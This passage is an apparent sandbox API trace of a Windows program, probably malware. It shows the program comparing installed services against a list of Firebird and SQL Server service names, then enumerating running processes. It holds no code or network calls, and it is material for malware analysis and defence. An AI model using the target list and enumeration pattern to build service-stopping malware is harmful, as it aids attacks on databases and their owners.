(lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0165.763] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0165.764] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0165.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0165.764] lstrlenW (lpString="Power") returned 5 [0165.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0165.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0165.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0165.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0165.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0165.764] lstrlenW (lpString="ProfSvc") returned 7 [0165.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0165.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0165.764] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0165.764] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0165.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0165.764] lstrlenW (lpString="RpcEptMapper") returned 12 [0165.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.764] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0165.764] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0165.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0165.764] lstrlenW (lpString="RpcSs") returned 5 [0165.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0165.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0165.764] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0165.764] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0165.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0165.764] lstrlenW (lpString="SamSs") returned 5 [0165.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0165.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0165.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0165.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0165.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0165.764] lstrlenW (lpString="Schedule") returned 8 [0165.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0165.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0165.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0165.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0165.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0165.765] lstrlenW (lpString="SecurityHealthService") returned 21 [0165.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.765] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0165.765] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0165.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0165.765] lstrlenW (lpString="SENS") returned 4 [0165.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0165.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0165.765] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0165.765] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0165.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0165.765] lstrlenW (lpString="ShellHWDetection") returned 16 [0165.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.765] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0165.765] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0165.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0165.765] lstrlenW (lpString="Spooler") returned 7 [0165.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0165.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0165.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0165.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0165.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0165.765] lstrlenW (lpString="SSDPSRV") returned 7 [0165.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0165.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0165.765] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0165.765] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0165.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0165.765] lstrlenW (lpString="StateRepository") returned 15 [0165.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0165.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0165.766] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0165.766] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0165.766] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800c8 | out: hHeap=0x790000) returned 1 [0165.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0165.773] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.774] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0165.774] lstrlenW (lpString="System") returned 6 [0165.774] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0165.775] lstrlenW (lpString="smss.exe") returned 8 [0165.775] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.776] lstrlenW (lpString="csrss.exe") returned 9 [0165.776] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.776] lstrlenW (lpString="wininit.exe") returned 11 [0165.776] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.777] lstrlenW (lpString="csrss.exe") returned 9 [0165.777] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.778] lstrlenW (lpString="winlogon.exe") returned 12 [0165.778] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.778] lstrlenW (lpString="services.exe") returned 12 [0165.778] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.779] lstrlenW (lpString="lsass.exe") returned 9 [0165.779] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.780] lstrlenW (lpString="svchost.exe") returned 11 [0165.780] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.780] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.780] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.781] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.781] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.782] lstrlenW (lpString="svchost.exe") returned 11 [0165.782] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.782] lstrlenW (lpString="dwm.exe") returned 7 [0165.782] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.783] lstrlenW (lpString="svchost.exe") returned 11 [0165.783] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.784] lstrlenW (lpString="svchost.exe") returned 11 [0165.784] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.784] lstrlenW (lpString="svchost.exe") returned 11 [0165.785] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.785] lstrlenW (lpString="svchost.exe") returned 11 [0165.785] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.787] lstrlenW (lpString="svchost.exe") returned 11 [0165.787] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.788] lstrlenW (lpString="svchost.exe") returned 11 [0165.788] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.789] lstrlenW (lpString="svchost.exe") returned 11 [0165.789] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.789] lstrlenW (lpString="svchost.exe") returned 11 [0165.789] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.790] lstrlenW (lpString="svchost.exe") returned 11 [0165.790] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0165.791] lstrlenW (lpString="spoolsv.exe") returned 11 [0165.791] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.791] lstrlenW (lpString="svchost.exe") returned 11 [0165.791] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.792] lstrlenW (lpString="svchost.exe") returned 11 [0165.792] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.793] lstrlenW (lpString="audiodg.exe") returned 11 [0165.793] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0165.793] lstrlenW (lpString="sihost.exe") returned 10 [0165.793] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.794] lstrlenW (lpString="svchost.exe") returned 11 [0165.794] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.795] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.795] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0165.795] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0165.796] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0165.796] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0165.796] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.797] lstrlenW (lpString="explorer.exe") returned 12 [0165.797] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0165.798] lstrlenW (lpString="Memory Compression") returned 18 [0165.798] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0165.798] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0165.798] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0165.799] lstrlenW (lpString="SearchUI.exe") returned 12 [0165.799] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0165.800] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0165.800] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0165.800] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0165.800] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.801] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.801] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0165.802] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0165.802] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0165.803] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0165.803] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0165.804] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0165.804] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.804] lstrlenW (lpString="conhost.exe") returned 11 [0165.804] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0165.805] lstrlenW (lpString="screensaver.exe") returned 15 [0165.805] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0165.806] lstrlenW (lpString="upperarc.exe") returned 12 [0165.806] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0165.806] lstrlenW (lpString="buying.exe") returned 10 [0165.806] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0165.807] lstrlenW (lpString="downloadable.exe") returned 16 [0165.807] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0165.820] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0165.820] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0165.821] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0165.821] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0165.822] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0165.822] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0165.822] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0165.822] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0165.823] lstrlenW (lpString="moments.exe") returned 11 [0165.823] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0165.824] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0165.824] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0165.824] lstrlenW (lpString="stream-test.exe") returned 15 [0165.824] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0165.825] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0165.825] Process32NextW (in: hSnapshot=0x318, 